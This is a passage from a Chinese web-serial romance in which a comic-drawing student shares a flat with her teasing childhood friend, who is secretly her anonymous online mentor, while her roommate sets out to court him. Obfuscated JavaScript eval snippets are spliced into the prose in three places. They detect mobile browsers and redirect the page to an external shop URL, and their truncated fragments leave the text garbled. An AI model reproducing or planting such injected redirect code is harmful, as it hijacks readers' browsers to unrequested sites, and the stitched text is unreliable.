他回了房间,带上门。 林朝晞怔怔地摸上自己的头顶,嘟囔道:“我刚刚才洗的头啊……” 她在黑夜中站了好一会儿,才后知后觉:他是在……害羞么? 寂静的深夜无人回应。 她合上门,重新蜷到被窝里,半晌,“嘻”地笑了一声。 被子上他的气息淡淡萦绕,让她有种安心的妥帖。 他们这算是,彻底和好了吧。 11. 语气好熟悉?! 林朝晞醒过来的时候已经接近中午了。 她走到客厅,见裴弈正坐在沙发上用笔记本,穿了件简约的净色休闲衫,袖口整齐地挽到小臂中间,露出线条干净的腕骨,显然是已经起来很久了。 “你干嘛不叫我起床啊?”她揉着惺忪睡眼,抱怨的声音拖得软绵。 今天是周六,不用上课,但是周日晚上不仅要更新漫画,距离短篇比赛截稿也只有三天了。 她原计划是周末早起画整整两天漫画,结果昨晚忘记调闹钟,一下子就睡过了头。 如果是在家住的话,妈妈肯定会叫她的。 裴弈停下敲击键盘的手,转过头来,目光扫过她松垮的睡衣领口和乱糟糟的发顶,眼神淡得像白开水:“我又不是你妈。” “哎呀,都怪你!都十二点了。”林朝晞望向客厅中央的时钟,又怨又恼。 林泽的房间敞着门,早就已经出门办事了。陈震的鞋凌乱地码放在玄关,也是上了一通宵的班回来了。 一个房子里四个人,都办了正事儿。 就她睡到日上三竿,她感到莫名的急躁,觉得自己不仅浪费了光阴,更是落后别人一截。 “嗯,怪我,”他视线没离屏幕,语气平淡得像在陈述天气,“地球不转了也怪我。” 林朝晞没时间跟他吵嘴,往自己房间去打算换下衣服洗漱,手刚搭上门把手,就想起昨晚那只大蟑螂,又挪步到客厅。 “昨晚那只蟑螂,你抓到没有?” “抓到了。” “真的?在哪?”她要亲眼见到它的尸体才能放心。 “在你房间的垃圾桶。” “你干嘛扔我垃圾桶啊!”她急得跺脚。 他似乎觉得好笑似的,眼尾微微上挑,弯起的眸子里漾着点揶揄:“不然,扔你床上?” 林朝晞瞪他一眼,回自己房间。 她谨慎地打开房门,又小心翼翼地走进去,确认过垃圾桶的死蟑螂不会动以后,紧耸的肩膀才松缓下来。 简单洗漱过后,她便盘着腿开始画画。 刚画没几笔,敲门声轻响。 裴弈半倚在门框边。一身简单的素色休闲服,衬得人身姿清挺。 “中午吃什么?”他问。 “随便吧,点个外卖。”林朝晞头也没抬,随口道。 房间里静了几秒,他的声音再度响起,比刚才低了些:“我做饭。” 林朝晞笔尖一顿,诧异地抬头:“你会做饭?” 从记事起,他就一直是在她家吃饭,除了基本的煎鸡蛋炒鸡蛋蛋炒饭,没见过他做饭。 “不会学么?”他目光扫过她手里的数位板,语气平淡,笃定道,“就这么定了。” 说罢,他带上了门。 不一会儿,厨房就响起了锅碗瓢盆的声音。 林朝晞很好奇,很想凑过去瞧瞧裴弈做饭是个什么样,但想到剩下没画的页数,还是忍住了。 等敲门声再次响起,她走到餐厅,三菜一汤已摆上桌。卖相竟出乎意料地周正。 她不可思议看着那菜肴,狐疑地坐下,夹起排骨尝了一口。 “唔!”清甜的肉香在舌尖化开,她眼睛一亮,含糊地惊叹,“好吃!” 他正用纸巾擦拭手指,闻言,喉间溢出一声极轻的哼笑。 林朝晞空腹了十几个小时,正饥肠辘辘,迫不及待尝了一口别的菜。裴弈拿起筷子,没动,只是垂眸看着她,像是在等她的反应。 她忽然蹙紧眉,捂住嘴,猛地起身冲向垃圾桶,“yue”地一声吐了出来。 “怎么了?” 林朝晞从垃圾桶边抬起头,整张脸皱成一团:“……鸭子,好腥。” 裴弈眉梢微挑,夹起一块鸭肉。 入口的瞬间,他瞳孔轻微一缩,随即放下筷子,用手背轻掩了下唇,起身,步伐依旧从容地走进了厨房。 里面很快响起淅沥的水声。 等他走出来的时候,林朝晞已经漱过口,重新在餐桌边坐了下来。 她偷眼瞧着他,唇边忍不住泛起笑意。 他视线很轻地扫过来,脸色没了刚才的骄傲,不紧不慢拿起水杯喝了口,随即道:“还是点外卖吧。” 他站起来,正要撤走剩下的菜,林朝晞阻止了他,故意把语调放得轻松,甚至带着点难得的宽宏大量: “别!不用,只有这道鸭子比较难吃,吃另外的两道菜不就好了。” 裴弈冷眼扫过来。 林朝晞唇边的笑容越漾越大,到最后忍不住笑出声音来,她故作大度地把手一挥,十分很享受他这鲜少出现的失误: “嗐没事,你也是人嘛,偶尔失手一次,很正常!别太灰心,下次注意就好了,裴师傅。” “哦?”他一扬眉,眉峰微挑,“那你赏个脸,全吃了吧。” 她的笑容僵在脸上。 还以为能难得地取笑他一把,事情怎么会这样发展?! 裴弈:“我好心做饭给你吃,你总要顾及我的面子吧?” “我又没有求着你做。”她小声嘀咕一句,犹豫了一下,还是不满地抄起筷子,不情不愿地端起那盘麻婆豆腐,倒了一半进碗里,“切,吃就吃,反正鸭子你不吃我也不吃。” 裴弈没说什么,只是坐在她对面,斯文地夹菜吃饭,目光时不时落在她豪放的吃相上。 “你麻婆豆腐做得还可以嘛,”她碗里的饭菜已见底,脸颊上沾了红色的汤汁,浑然不知,嘴里塞着虾肉,又低头剥起一只虾,“这个虾蒸得也不错。” 裴弈极轻地勾了一下嘴角,敛下眼皮遮住情绪:“把脸擦擦。吃饭跟打仗似的。” “哪有那么夸张。”林朝晞抬手胡乱地擦了脸,什么也没擦着,没管,继续剥虾,连续剥了好几只放在碗里。 裴弈看着她一口气吃掉了三只,嘴边又沾了新的蘸料,干脆放了筷子,把手支在桌子上,交叠地托着下巴,目光落在她脸上。 “你不吃啦?”她百忙之中抬头看他一眼。 “嗯。” “好吧,你这样显得我吃很多。” “你本来就吃很多。” “哦。”她把剩下的汤全倒进了碗里,一边喝,一边问,“话说,你在英国,都是自己做饭吗?” “不做。” 林朝晞清扫光剩下的菜,咀嚼的空隙,盯着他,眼神有些困惑:“……那你今天是,心血来潮了?” 裴弈看到碗碟已见空,似乎有些满意,站起身,开始收拾碗碟。 林朝晞等了会,没等到他的回答,抱怨了句:“什么嘛,又不说话。整天装神秘。” 裴弈的手停了下来,他偏头,眼睫垂落,覆盖着那双眼尾上挑的瞳,目光很深,像午后静谧的湖面,底下却有细微的波澜轻轻荡开。 他伸出手,指背轻轻擦过她脸颊沾着汤汁的地方,动作快而轻,像是怕惊扰到什么。 事出突然,林朝晞木然地愣看着他,微凉的触感只在她脸颊扫过一瞬,却带出一片热意。 裴弈唇线微动,随即挪开视线,端起碗碟,声音比刚才低了些:“看你吃饭跟难民似的,挺有意思。” 他背过身去进了厨房。 直到洗碗的声音响起,林朝晞才迟钝地反应过来,立马古怪地歪了歪头。 他说什么?看她吃饭有意思? 她起身跟到厨房,手摸上自己被他擦过的地方,仿佛还残留着他的触感。 好怪。他居然摸她的脸。 虽然是为了擦脏东西,但她觉得好怪!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴弈虽然说话难听,但还是很照顾她的。从很久以前开始,他就是这样可靠的存在。 “好了。这阵子都不要拖地。”他交代完,转身离开。 房间里没有刺鼻的气味,只有淡淡的、属于他衣角般的清爽气息,若有若无地散在空气里。 - 晚上。 林朝晞把画好的最新一话发给日先生征求意见。等待对方回复时,她点开微信查看未读消息。 下午的时候赵晓棠跟她说,明天就是联谊会,让她陪着去。 林朝晞手指在屏幕上方犹豫地晃着,还没想好怎么回。她不好意思拒绝,但又确实没有时间。 屏幕上方忽然弹出一条新消息。 日:【你这一话后半部分的节奏,比长临乐园的垂直过山车还陡峭】 林朝晞盯着那行字,不满地鼓了鼓腮帮。 这人真是……大家只是陌生网友而已,他讲话客气一点会怎样? 她有时会对着这位黑客大佬的对话框出神: 屏幕那头到底是个什么样的人?明明帮了她那么多,又是打赏,又是盗号改稿,甚至自愿给她当编辑使,可每次说话都毫不留情面,好像他们很熟一样。 ……呃,等一下。 这个语气,怎么好像很熟悉?! 昨晚某人嘲讽她房间是蟑螂窝的时候,也是这副德行。 她盯着那个朴素的“日”字昵称,一种强烈的好奇心,混合着想要验证点什么的冲动,驱使她慢慢敲出两个字:【大佬】 日先生:【?】 林朝晞:【你是学计算机的吗?】 消息发送成功的提示音,在寂静的房间里格外清晰。 屏幕顶端,【对方正在输入…】的提示急促地闪现了一下,然后,彻底不动了。 12. 想谈恋爱了? 屏幕的光映在裴弈脸上,将他轮廓分明的侧脸照出一片冷白。 他盯着聊天框里那行字——【大佬,你是学计算机的吗?】,指尖悬在键盘上方,整个人罕见地僵住了。 她怎么会突然问这个? 是发现了什么?还是……单纯的巧合? 无数种可能性在他脑中飞速闪过,又被一一否决。 他下意识想点开她的空间,看看她是否发了什么动态,却忽然想起,自己正用着“日先生”这个号。 访问会留痕。那样太过刻意了。 就在他飞快思索如何回应能不露破绽时,对话框顶端再次跳出了【对方正在输入…】的提示。 紧接着,一条新消息弹了出来: 【我的意思是……】 【你们学计算机的理工男,是不是嘴都挺毒的?】 裴弈:“……” 他看着屏幕上那两行字,沉默了三秒。 高估她的敏锐了。 他松开一直紧绷的肩线,向后靠进椅背,唇角掠过一丝极淡的、自嘲的弧度,抬手揉了揉眉心。 两人的聊天对话停滞在林朝晞最新的回复上。 “干嘛不说话。”林朝晞嘀咕着,往椅背上一靠。 这人已读不回的劲儿,和裴弈真是有异曲同工之妙。 过了会儿,日:【都?还有谁?】 说到这个,林朝晞可来劲儿了,手指噼里啪啦地在手机上打字: 【!】 【我发小啊!就是昨晚跟你说的那个!】 【跟你一样,小嘴微毒,嘻嘻】 她把消息发过去,还有些不好意思地发了个可爱的猫猫表情包。 卖一下萌,以防大佬生气不帮她看稿。 日:【哦】 日:【你很讨厌他?】 这个问题怎么回答呢? 感觉他问得好认真啊,如果是以开玩笑的语气问,她会毫不犹豫地说裴弈是个讨厌鬼! 她在输入框里犹犹豫豫地打下:【嗯。。。还好吧,一点点!】 【他老爱逗我,可能觉得欺负我很有意思吧】 日:【这样】 林朝晞回了个小猫点头的表情包。 日:【你不喜欢这样?】 “嗯?”林朝晞困惑地把“嗯”的音节拖得老长,眯着眼凑近了屏幕。 怎么感觉大佬今天挺八卦的,问的问题都好私人。 林朝晞没心眼子,直接回道:【好像也还好。因为我们一直都是这样相处的嘛,嘿嘿】 消息发出后,她又补了一句:【大佬今天话好多,难得!】 日:【嗯,因为我想知道】 林朝晞:【知道什么?】 日:【你会不会讨厌我】 屏幕上简简单单的七个字,冷不防地跃入视野。 林朝晞盯着这行字,心跳毫无预兆地重跳了一拍,她下意识放轻了呼吸,张了张嘴,却没发出声音。 这句话是什么意思?他这样的大神,居然会在意她这个小菜鸟的看法? 而且,话里好像藏着一丝……试探?这和他平日里傲慢毒舌的形象相去甚远。 林朝晞回想起他主页唯一的收藏,想起他从不间断的打赏,还有他每次嘴上嫌弃却总是有求必应的修改指导…… 这些线索串联起来,指向了一个让她心慌又有些飘飘然的可能—— 他是……透过她的作品,被她的灵魂吸引了吗?! 这个惊奇的发现,令她忍不住抱着手机,在床上滚了两圈,发出一声压抑又兴奋的“呜~”。 隔壁房间,裴弈清晰地听到了那声软糯的哼唧,有些无语地蹙了蹙眉。 他只是怕暴露身份,才补救性地问了一句,她至于反应这么大吗? 对一个没见过面的陌生人,有什么好激动的? 他有些烦躁地在键盘上敲下一行字,力道比刚才重了不少。 日:【你不是讨厌嘴毒的人?】 这条消息,在林朝晞看来,更是坐实了他的在意。 她忙不迭地捧着手机回道:【怎么可能讨厌你呢!我觉得,你是个特别好的人!】 【善良无私!乐于助人!还很慷慨!不仅会改漫画,眼光毒辣,还会黑别人的号,超厉害!】 日:【呵呵】 林朝晞原本是面带微笑打下回复的,看到这两个字,笑容收了回去:【我一直想问,你发呵呵是什么意思?是表示笑声吗^_^】 日:【你猜^_^】 “他跟我发一样的表情……那应该是心情不错吧?”林朝晞自言自语道,没把这放在心上,把手机放到一边,打算去厨房找点喝的。 她拉开房门,正巧碰上裴弈端着咖啡杯从她门前经过。 他脚步顿了一下,斜眼望过来,眉间轻蹙,像是嫌她挡了路。 林朝晞的心思还沉浸在线上的暧昧里,此刻看到这张与日先生同样“嘴毒”的脸,下意识地就把心里话秃噜了出来: “你怎么也在这儿?” 裴弈:“……” 这是他家,他不能在这儿? 他懒得回答这种傻问题,端着杯子径直走向厨房,只留给她一个清瘦冷淡的背影。 林朝晞看着他的背影,撇了撇嘴,心里却没来由地升起一丝小小的得意。 她想,日先生虽然也毒舌,但他的话总能一针见血地帮到自己,那是一种藏在严厉下的温柔。 哪像裴弈,从里到外都透着一股纯粹的、以欺负她为乐的恶劣。 这么一比,高下立判。 她怀着这份莫名的优越感,也跟着进了厨房,从冰箱里拿了瓶酸奶。 裴弈正在水池边冲洗杯子,水流声哗哗作响。 林朝晞靠在冰箱门上,一边喝着酸奶,一边忍不住想,要是日先生在旁边,他会说什么呢?大概会嫌弃她喝酸奶还舔盖吧? 想着想着,她就忍不住噗嗤一声笑了出来。 裴弈冲杯子的动作停了,关掉水龙头,转过身,用一种“你有病吗”的眼神看着她:“笑什么?” “没什么,”林朝晞连忙摆手,嘴角的笑意却怎么也藏不住,“就……想到了开心的事。” 裴弈的目光在她脸上停留了几秒,那双总是没什么情绪的眼睛里,似乎闪过一丝探究。 他没再追问,擦干手,转身离开了厨房。 裴弈一走,厨房的空气都仿佛轻松起来。林朝晞喝着酸奶,心情愉悦地晃着腿。 她想起过去无数次被他气得跳脚的场景,再看看现在自己毫不在意的样子,一种隐秘的、近乎报复的快感油然而生。 哼,让他再得意,现在自己也有人撑腰了——虽然那个人远在网络另一端。 她很快回到房间,蹲坐在书桌前,改了一晚上画稿。 直到凌晨一点,她实在熬不住,才调了闹钟,躺在床上。闭着眼睛正要沉沉睡去,手机忽然响起。 打开来,发现是赵晓棠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093790|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵晓棠:【我靠!系草叫我把你的微信推过去!】 【为什么为什么为什么】 黑夜里,林朝晞眯着眼睛看手机,回:【不知,好困,睡了】 赵晓棠没给她睡去的机会,直接打了电话来。 林朝晞按下接听,闭上眼睛,口齿不清道:“怎么了?” 赵晓棠:“怎么回事!为什么我精心追求的系草看上你了!” 林朝晞慢悠悠打了个哈欠:“不知道,我好困,我要睡了。” 赵晓棠:“他说昨天找你要微信,被你拒绝了,真的假的?” 林朝晞闻言愣了一下,魂都没回过来,含糊着:“嗯,好像是吧。” “什么叫好像是啊!那可是系草!”赵晓棠声线清醒,有些恨铁不成钢,“你真拒绝了他啊?他刚找我要你微信,我没给。我说你自己问去。” “哦……” “我的天!”赵晓棠听上去痛心疾首,“林朝晞你真是……暴殄天物啊!你知不知道他多难追!” 林朝晞神思困顿地静了会儿,突然反应过来似的:“也没有看上我吧,他说要跟我交流漫画。” “你是真傻还是装傻啊?”赵晓棠顿了顿,音量高昂,“系草找你交流漫画?这一听就是为了加你微信找的借口啊!” “为什么是借口啊?” “哎唷,你又不是什么大神,人家找你交流干嘛,想交流,为什么不找学霸?” 林朝晞顿了两秒,才明白赵晓棠在损她,想到这是今天损她的第三个人,有些愤愤不平:“你这人说话怎么跟裴……” 她话说到一半,猛地截住话头。 “什么?裴什么?” “呃没什么。” “裴什么啊?裴助教?” “不是啦……”她想了想,想不出pei能组什么词,干脆糊弄,“我太困了,乱说的。” “好吧,”赵晓棠没在意,转而叹了口气,“唉~系草看上你了,那我没戏了。” 林朝晞被她的哀怨所感染,竟生出几分愧疚来,糊着声音说:“抱歉啊。” “哈哈,道什么歉啊。咱俩谁谈上都行,不分你我~”赵晓棠开朗地笑着,毫不介意,“没事儿!我明天在联谊会再物色新对象不就好啦?对了,你要陪我去哦?” 林朝晞被她这么一说,十分不好意思,犹豫地说:“嗯……好吧。” “你好勉强。那行,你睡吧,晚安。” 林朝晞和她互道晚安,挂了电话。 看来,这个联谊会还是得去啊。那,明天要起得更早一点,把画稿改好发给日。 她就这么想着,沉沉睡去。 - 第二天,她起得很早,糊弄地喝了一盒牛奶当早餐,马上开始改稿。 笔尖在数位板上利落地画出线条,三下两下,一个略微粗糙的画稿就定出来了。 林朝晞看了眼时间,11:22。 赵晓棠说的联谊会是14点开始,她要是去呆两三个小时就回来的话,距离晚上20点的固定更新时间,应该还能有一两个小时。 她这么想着,把画稿发给日。 日回得很快:【画这么急,赶着投胎?】 又是这种嫌弃的口吻。林朝晞对着屏幕做了个鬼脸,手指飞快地打字反驳: 【才不是!我这是为了给联谊会腾出时间】 消息发出去的瞬间,对话框沉默了。 日:【哦,想谈恋爱了?】 13. 不想裴弈谈恋爱 林朝晞连忙解释:【没有没有!是我的室友赵晓棠,她非要拉着我去,说是多认识点人,说不定还能给我的漫画找点灵感】 对面停顿了一下,没接话,而是回道:【今天晚上八点前,把稿子改好。】 林朝晞看着这条命令式的消息,有点懵。虽然大佬平时也毒舌,但很少用这种强硬的口吻。 她回道:【来不及啊,我下午要去联谊……】 日:【那就别去。】 林朝晞:“……” 好霸道! 她有点不服气地打字:【为什么呀?我就去一下下,很快就回来!】 这一次,对面沉默了足有半分钟。久到林朝晞以为他下线了,一条新消息才弹了出来。 日:【不想你的名字,出现在明天的打赏榜第一位?】 林朝晞的心猛地一跳。 月度打赏榜!她都忘了这事儿了。 网站每个月五号会统计上个月收获打赏最高的前十个作品,并给予曝光。这个榜位置很显眼,能上就意味着巨大的流量。 都说站在风口上,猪都能飞。月度打赏榜就是这个风口。 不过,这个打赏排名,在新的榜单出来之前,是全程匿名的。没有人知道目前的顺位。 有钱的作者为了上这个榜,只能盲刷。 榜单线时低时高。 比如上个月的第十名就很低,才三万多,前四名的作者都刷多了,个个都是十万以上,亏麻了。 ——当然,网站赚麻了。 林朝晞这才反应过来,他之前一直刷钱,难道是为了保她上这个榜单?可是他怎么这么笃定她能上? 林朝晞:【!!!大佬,你打算砸多少钱啊?】 日:【够拿第一。】 日:【所以,现在还想去联谊吗?^_^】 那个熟悉的笑脸表情,此刻在林朝晞看来,却带着一股运筹帷幄的压迫感。 大佬不是在和她商量,他是在通知她。 他用钱给她铺好了一条金光闪闪的星光大道,而她要做的,就是乖乖待在电脑前,把作品打磨到最好,然后等着接受万众瞩目。 什么联谊会,什么帅哥,在流量和曝光面前,瞬间变得索然无味。 但惊喜过后,一股巨大的不安迅速淹没了她。 她怎么能接受这样的巨款打赏呢?思及日的脾气,她有些忐忑地回: 【可是,我不能接受你付出这么多,原本的打赏就够我惶恐了】 日:【别管】 日:【把稿子改好发过来】 他发完消息,直接离了线。 林朝晞看着他变灰的头像,心里既感激又诚惶诚恐。 有人能这么不计付出地支持自己,当然会很高兴,说明作品得到了认可。 但她又不认为自己真的有画得这么好——毕竟,数据会说明一切。 除了这位“日”,虽然也有其他读者,可都没有表现出如此的热情和肯定。 她一时兴起画的那点东西,真的值三万甚至更多吗? 这个“日”,真就是无意中刷到她的作品,然后就这么、这么的喜欢? 困惑和质疑像雪球,在林朝晞心中越滚越大。 说起来,她还没问过日是怎么发现她的作品的。 他就这么刚好,在她签约通过的那一天,注册了读者号,不去看前排的榜单,而是翻新人榜,并且在几十个新人中,就只看中了自己? 她无自觉地咬紧下唇,沉思了一会儿,然后才深吸口气,认命地给赵晓棠发消息: 【晓棠,我不能去了!真的很抱歉,下次再陪你去】 现在想这么多也没用,他没有给她选择,而是直接帮她做好了决定。她只需要把漫画画好。 她重新拿起数位板,急赶慢赶,花一下午时间把稿子重新精修,发给日。 日秒回一串批注,逻辑清晰,一针见血。 一来一回,效率高得惊人。 林朝晞觉得自己的大脑像被强行升级了CPU,那些原本模糊不清的画面,在他三言两语的点拨下,瞬间变得清晰立体。 一个小时后,最后一页分镜的修改意见也敲定下来。 林朝晞长长地舒了一口气,感觉身体都被掏空了,指尖在屏幕上敲下一行字: 【搞定!谢谢大佬!我现在就去发布!】 连载更新完毕,她在床上瘫了会儿,手机弹出日程提醒:距离短篇截稿日还有两天。 “呃……”她挣扎着坐起来,又埋头画起短篇的草稿。 - 次日清晨,林朝晞顶着两个浅浅的黑眼圈来到教室,脑子里全是短篇的构图。 赵晓棠朝她挥手,已经帮她占了座。 她在空位上放下书包:“早。” 赵晓棠:“你昨晚干嘛去了?怎么黑眼圈这么重?” “我研究了一晚上短篇漫画。”她说着,打了个很大的哈欠。 “好吧,你真努力。对了,”赵晓棠托着腮,“昨天的联谊会我没去,一个人去,感觉怪尴尬的。” 林朝晞拍了拍她的肩膀,宽慰道:“下次,我一定陪你去。” “再说吧。不过,既然系草看上你了,我打算……”赵晓棠眼睛突然一亮,望向讲台的方向,“换个目标!” 林朝晞顺着她的视线看去,裴弈正不紧不慢地走上讲台,将笔记本电脑放在桌上。 他今天穿了一件浅灰色的薄款毛衣,衬得他身形清瘦修长,气质清冷。 “我的新目标——裴助教!”赵晓棠宣布道,眼睛里闪着势在必得的光。 “什么?!”林朝晞惊讶地叫出了声。 整个阶梯教室瞬间安静下来,所有人的目光都聚焦在她身上。 讲台上的裴弈也停下了调试设备的手,抬起眼,淡淡地扫了过来。 那目光没什么温度,却让林朝晞瞬间像被点穴一样僵住。 “上课时间,保持安静。”他的声音不大,却清晰地传遍了整个教室。 “……”林朝晞在全班同学的注视下,窘迫地涨红了脸,默默地低下头,恨不得找个地缝钻进去。 她伸手在桌子底下锤了锤赵晓棠的大腿,小声怨责道:“都怪你!吓我一跳!” “这有什么的?你也太大惊小怪了吧。”赵晓棠不以为意。 林朝晞望着她那认真的神情,心里那阵怪异感还似烙在心头,挥之不去。 她的好朋友居然要泡她的竹马,这她能不震惊吗? 这种感觉就好像,好友要当自己嫂子一样。 怪,非常怪! 她趁着裴弈背过身去板书,凑到赵晓棠旁边,问:“你真的要追他啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093791|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情说不上是担忧还是嫌弃。 “对啊,待会儿我就去找他加微信。” “可是,你怎么会想追他呢?”林朝晞眉心轻蹙,困惑不解。 “这很奇怪吗?”赵晓棠掰着手指头数着优点,“又高又帅,学历,能力,哪点不是数一数二?就连衣品都很好,性格也好啊,温柔有耐心。想追他的人多了去了!我都排不上号,再不主动点,情人节就要到了。下个学期我们就去实习了!毕业了!大学四年没谈过恋爱,像话吗?” 林朝晞被她一番话堵得无言以对。 她反复咀嚼着她的话,视线落在裴弈身上。 她从来没用求偶的眼光看待过他。 现在想想,赵晓棠细数的优点,都是客观的事实。 就连性格好,好像也是对的——裴弈只欺负她而已,对其他人一直是礼貌有分寸。 裴弈从来没说过有人在追他。他们之间也从不聊这个话题。 现在赵晓棠说要追他,她才有了实感。 或许,裴弈在她不知道的地方,可能是很受欢迎的,甚至,还谈过恋爱也说不定。 林朝晞紧紧盯着翻动ppt的裴弈,视线灼热得都要把他看穿了。 他要是谈恋爱了,就会和她疏远了吧?不管谈的是赵晓棠,还是其他什么人。 裴弈似乎察觉到她的注视,不经意地看过来。 林朝晞垂下眼睑,顿时有点担忧和低落。 她不想裴弈谈恋爱。 她身边那些朋友,谈了恋爱以后,无一不是疏远了。但她也能理解,毕竟难得有空,肯定都要去陪伴侣。 一节课,林朝晞都如坐针毡。 好不容易熬到下课,她还没来得及拉住赵晓棠,就见她像一阵风似的,直接冲到了讲台前。 “裴助教,”赵晓棠拨了拨头发,笑得明媚又自信,“你好,我是绘画2班的赵晓棠,可以加个微信吗?” 裴弈正在收拾东西,闻言抬眸看了她一眼,目光在她脸上停留了不到一秒,便淡淡地移开,语气疏离又客气: “不好意思,我不随便加学生微信。” 林朝晞站在不远处,看着这一幕,心里莫名地松了一口气。 可这口气还没松到底,就听见裴弈又补了一句: “有事的话,可以通过班长联系我。” 林朝晞的心又提了起来。虽然他拒绝了,但还是留了余地。 赵晓棠也不气馁,笑着说:“好的,那助教再见。” 说完,她便转身回到了林朝晞身边,脸上丝毫没有被拒绝的沮丧。 回到座位,赵晓棠拿出手机,正准备说什么,林朝晞的手机“叮”地响了一声。 她下意识拿起来一看,屏幕上赫然显示着裴弈的消息:【晚上想吃什么?】 赵晓棠余光瞥过来,眼睛瞬间瞪圆了,她一把抢过林朝晞的手机,指着屏幕上的备注“裴弈(讨厌鬼)”,难以置信地尖叫起来: “什么情况?!你居然有他微信?!他还问你晚上想吃什么?!” 面对好友一连串的灵魂拷问,林朝晞看着她震惊的表情,尴尬地热了脸。 讲台上,裴弈已不见踪影。她依稀记得,他转身离开前,目光似有若无地扫过她的方向。 他干嘛要在这个节骨眼上给她发消息啊?!真是的!故意的吗? 14. 我做的菜见不得人 “呃……”林朝晞为难地挠了挠头。 “你们在同居吗?!”赵晓棠一激动,嗓门传遍教室。引来无数目光。 班里的同学纷纷议道: “什么同居?” “林朝晞在和别人同居?谁啊?” “她有男朋友了?” 林朝晞被大家打探的目光刺挠得浑身不自在,脸颊发热,一把搂过赵晓棠的肩膀,往教室外走。 “你干嘛那么大声!”她把赵晓棠拉到楼梯拐角处。 “噢不好意思不好意思,一时激动,”赵晓棠自责地拍了拍自己的嘴,“呸呸呸。” 她怨怪地睨了赵晓棠一眼:“什么叫同居啊?说得好像在谈恋爱似的,根本就不是你想的那样,只是合租而已。” “可是他那句话听起来,就感觉你们很亲密啊。” “亲人朋友也可以亲密啊,亲密不一定是情侣吧。我跟他......”林朝晞不情不愿地摊了牌,“只是发小啦。” “发小?真的假的?!我从来没听说啊,你居然有这么厉害的发小。” “他哪厉害了。”林朝晞嫌弃地撇撇嘴,小声嘀咕。 “朝晞!”赵晓棠双目放光,手重重搭上她的肩,“塞翁失马,焉知非福啊!你要帮我追他!” “……啥?”林朝晞被这跳跃的脑回路弄得一愣。 “既然你们都住一起了,近水楼台先得月!”赵晓棠一把挽住她的胳膊,兴冲冲地往前走,“快,先把他微信推给我。” “这……”林朝晞被她扯得脚步踉跄,语气为难,“他刚才不是拒绝你了吗?” “所以才要走内部通道嘛!”赵晓棠笑得没心没肺。 林朝晞想起中学时乱推他微信的后果,心有余悸:“裴弈是个有主意的人,不会喜欢别人替他做主的。” “嗯~?”赵晓棠拖长音调,笑容变得意味深长,“你果然很了解他嘛~” “那当然……”林朝晞底气不足地应道。 “那就更好啦!”赵晓棠用手肘拱她,“有你这个内应,我岂不是稳了?” 林朝晞哀嚎道:“你饶了我吧……” 也就只有赵晓棠这样无厘头的人,才会想到让她来当僚机。 而且,攻略的对象还是那个裴弈——吵架从来没输过的高智商学霸。 “哈哈哈哈!就这么定了,今晚我就去你家实地考察!” 林朝晞看她那副傻乐的表情,无语地叹了口气,脑子里突然窜出一个极其冒犯赵晓棠、也极其冒犯自己的想法: 她俩智商加起来有裴弈一半吗?救命。 跟裴弈那种从小就心思九曲十八弯的人玩心眼,她和晓棠简直就是新手村的小白,去挑战满级大魔王。 “……还是别了吧。”林朝晞眼前一黑,仿佛已经预见到裴弈那皮笑肉不笑的表情。 “你怕什么呀?” “你、你根本就不知道裴弈的可怕!”她试图恐吓。 “可怕?”赵晓棠想到课堂上清俊温和的助教,皱起眉,仔细端详林朝晞的表情,“朝晞,你该不会……不想帮我吧?” “啊?”林朝晞愣住了。 赵晓棠凑到她跟前,严肃地来回打量她的表情,说:“不是吗?裴老师那么温柔,你说他可怕,我感觉很不客观哦。” 林朝晞低下头,没再说话。 她不想帮吗? 斑驳的树影穿过她们途径的林荫大道,在身上落下光圈。赵晓棠一边走一边玩起了手机,不时传来低笑声。 林朝晞眼神放空地往前走,认真考虑着。 她,潜意识里也许是有一点不想帮的吧。不是针对赵晓棠,而是不管谁来,她好像都会排斥。 这种独占欲有点自私,她也知道。 裴弈离开的这四年,她身边也有其他朋友陪着。可是,总不如她和他那般亲密,吃饭、学习都在一起。 现在他才回来几天,两人关系刚回暖,就要她亲自去给他找对象,加速他和自己的疏远,也太残忍了。 “怎么了?”赵晓棠关切地看过来,“你怎么一副想哭的表情?” 林朝晞神情微讶。 想哭?她? “有吗?”她问。 “有点。”赵晓棠点点头。 “……没有啦。” “嘿嘿,那说好了哦,晚自习下课,我去你家坐一会儿,打探打探情报。” 林朝晞被赵晓棠缠得没办法,含糊地“嗯”了声。 晚上。 合租屋。 刚开门,就闻到一股饭菜香。 最近林泽经常不在家,而陈震一向是神龙见首不见尾,家里就只有她和裴弈在。 林朝晞招呼着赵晓棠在玄关换鞋,瞧见裴弈正把最后一盘糖醋排骨端上桌,桌上三菜一汤,全是她爱吃的口味。 他看到门口的赵晓棠,眉峰蹙了一下,快得让人以为是错觉,随即目光落在林朝晞身上,脸上没什么表情。 “这是我朋友,赵晓棠。”林朝晞帮着介绍道。 裴弈把目光从林朝晞脸上挪开,扬起礼貌的笑:“欢迎。” 